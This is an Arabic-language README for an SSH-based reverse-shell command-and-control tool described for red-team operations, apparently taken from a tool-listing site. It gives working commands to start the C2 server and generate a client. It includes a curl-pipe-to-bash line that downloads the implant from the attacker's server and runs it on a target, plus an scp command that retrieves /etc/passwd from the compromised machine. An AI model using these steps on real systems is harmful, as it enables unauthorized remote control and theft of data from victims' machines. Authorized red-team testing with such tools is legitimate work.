
أداة إدارة **reverse shell** تعتمد على SSH مع دعم أصلي لـ SCP/SFTP، وبروتوكولات نقل متعددة، وتوليد ملفات DLL لويندوز، وتنفيذ بدون ملفات لعمليات الفريق الأحمر.

(حقوق الصورة لـ https://www.instagram.com/smart.hedgehog.art/)
هل تريد استخدام SSH للقذائف العكسية؟ الآن يمكنك ذلك.
SCP و SFTP أصلية لاسترجاع الملفات من الأهدافhttp و websockets و tls وغيرهاhttps://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1
- [Reverse SSH](#reverse-ssh)
- [TL;DR](#tldr)
- [الإعداد](#setup)
- [الاستخدام الأساسي](#basic-usage)
- [الرعاة](#sponsors)
- [الأفراد](#individuals)
- [الشركات](#companies)
- [الميزات المتقدمة](#fancy-features)
- [الصلاحيات](#privileges)
- [الاتصال العكسي التلقائي](#automatic-connect-back)
- [تنزيل الشل العكسي (توليد العميل وخادم HTTP مدمج)](#reverse-shell-download-client-generation-and-in-built-http-server)
- [النقل البديل (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls)
- [الإكمال التلقائي لـ Bash](#bash-autocomplete)
- [توليد DLL لويندوز](#windows-dll-generation)
- [أنظمة SSH الفرعية](#ssh-subsystems)
- [الكل](#all)
- [لينكس](#linux)
- [ويندوز](#windows)
- [دمج خدمات ويندوز](#windows-service-integration)
- [دعم كامل لشل ويندوز](#full-windows-shell-support)
- [Webhooks](#webhooks)
- [Tun (VPN)](#tun-vpn)
- [التنفيذ بدون ملفات (يدعم العملاء تنزيل الملفات التنفيذية ديناميكيًا لتنفيذها كشل)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell)
- [مخططات URI المدعومة](#supported-uri-schemes)
- [المساعدة](#help)
- [ويندوز](#windows-help)
- [SFTP](#windows-and-sftp)
- [أخطاء توليد الجلسة (0xc0000142)](#session-spawn-errors-0xc0000142)
- [الخادم الذي تم تشغيله باستخدام `--insecure` لا يزال يعطي `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake)
- [المقدمة مقابل الخلفية](#foreground-vs-background)
- [التبرعات، الدعم، أو رد الجميل](#donations-support-or-giving-back)
## TL;DR
### الإعداد
يوصى باستخدام إصدار Docker لأنه يتضمن الإصدار المناسب من Golang ومترجم متقاطع لنظام ويندوز.```sh
# Start the server
docker run -p3232:2222 -e EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh
أو docker compose:```yaml services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=<your.rssh.server.internal>:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data
### الاستخدام الأساسي```sh
# Connect to the server console
ssh your.rssh.server.internal -p 3232
# List all server console commands
catcher$ help
# Build a new client and host it on the in-built webserver
catcher$ link
http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25
# curl or wget this binary to a target system then execute it,
curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash
# then we can then list what clients are connected
catcher$ ls
Targets
+------------------------------------------+-----------------------------------+
| IDs | Version |
+------------------------------------------+-----------------------------------+
| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |
| fe6c52029e37185e4c7d512edd67a6c7694e2995 | |
| dummy.machine | |
| 192.168.0.11:34542 | |
+------------------------------------------+-----------------------------------+
جميع الأوامر تدعم العلم -h لتقديم المساعدة.
ثم تعمل أوامر ssh النموذجية، فقط حدد خادم rssh الخاص بك كمضيف قفز.```sh
ssh -J your.rssh.server.internal:3232 dummy.machine
ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine
ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine
scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd .
## الرعاة
شكر جزيل للأشخاص التاليين لتبرعاتهم لمشروع RSSH وجعل كل هذا العمل ممكنًا!
### الأفراد
[chikamobina](https://github.com/chikamobina) لتبرعاتهم السخية!
[wrighterase (ctrlzero)](https://github.com/wrighterase) لطلبات السحب والتبرع!
### الشركات
[Carapace](https://carapace.nz/) هي شركة استشارات أمنية مقرها نيوزيلندا تضم فريقًا موهوبًا للغاية!
[<img src="https://assets.kitploit.com/production/public/readmes/5627/b077b138b5108d69a3bcb10eea9d5f195914c9fb4653689923b3a10a1ee38a64.png">](https://carapace.nz/)
---
## الميزات المتقدمة
### الصلاحيات
يدعم خادم RSSH صلاحيات مستخدمين أساسية جدًا، حيث سيتم تعيين المستخدمين الموجودين في مجلد `data-directory`/`keys` (المحدد بواسطة `--datadir`) مثل `data-directory/keys/jim` كمستخدم لا يمكنه رؤية سوى العملاء العموميين (الموجودين في ملف authorized_controllee_keys بدون وسم `owners`، أو وسم `owners` فارغ) أو المخصصين لهم تحديدًا، مثل `owners="jim"`.
يمكن تغيير ذلك أثناء التشغيل عن طريق مستخدم يشارك الوصول إلى عميل يملكه باستخدام الأمر `access`، أو عن طريق مسؤول الخادم. افتراضيًا، سيتم وضع علامة مسؤول على أي مفتاح عام موجود في ملف `authorized_keys` للحفاظ على التوافق مع الإصدارات السابقة.
لن تستمر أي تغييرات يتم إجراؤها بواسطة أمر `access` بعد إعادة تشغيل الخادم، وسيتطلب ذلك تحرير ملف `authorized_controllee_keys` لذلك العميل المحدد.
### الاتصال التلقائي العائد
يسمح لك عميل rssh بتضمين عنوان اتصال عائد.
بشكل افتراضي، سيقوم الأمر `link` بتضمين العنوان الخارجي للخادم.
إذا كنت (لسبب ما) تقوم ببناء الثنائي يدويًا، يمكنك تحديد متغير البيئة `RSSH_HOMESERVER` لتضمينه في العميل:```sh
$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make
# Will connect to your.rssh.server.internal:3232, even though no destination is specified
$ bin/client
# Behaviour is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client -d example.com:3232